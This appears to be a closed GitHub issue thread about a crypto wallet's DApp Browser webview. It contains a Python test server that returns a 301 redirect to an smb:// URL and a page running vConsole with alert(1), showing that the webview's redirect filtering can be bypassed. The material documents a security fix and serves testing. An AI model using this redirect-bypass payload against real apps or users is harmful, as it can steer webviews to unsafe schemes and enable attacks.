Closed XinyuCRO closed 8 months ago
Use the below script, run it with python3, and open DApp Browser with http://localhost:8080
from http.server import BaseHTTPRequestHandler, HTTPServer hostName = "localhost" serverPort = 8080 class MyServer(BaseHTTPRequestHandler): def do_GET(self): Page = "<html><script src=\"https://unpkg.com/vconsole@latest/dist/vconsole.min.js\"></script><script>var vConsole = new window.VConsole(); alert(1); </script></html>" self.send_response(301) self.send_header("Content-type", "text/html") self.send_header("Location", "smb://test:test@localhost/") self.end_headers() self.wfile.write(bytes(Page, "utf-8")) if __name__ == "__main__": webServer = HTTPServer((hostName, serverPort), MyServer) print("Server started http://%s:%s" % (hostName, serverPort)) try: webServer.serve_forever() except KeyboardInterrupt: pass webServer.server_close() print("Server stopped.")
Tested & fulfilled the requirements
1379 follow up, webview redirection can still bypassable by using 301/302
Test script
Use the below script, run it with python3, and open DApp Browser with http://localhost:8080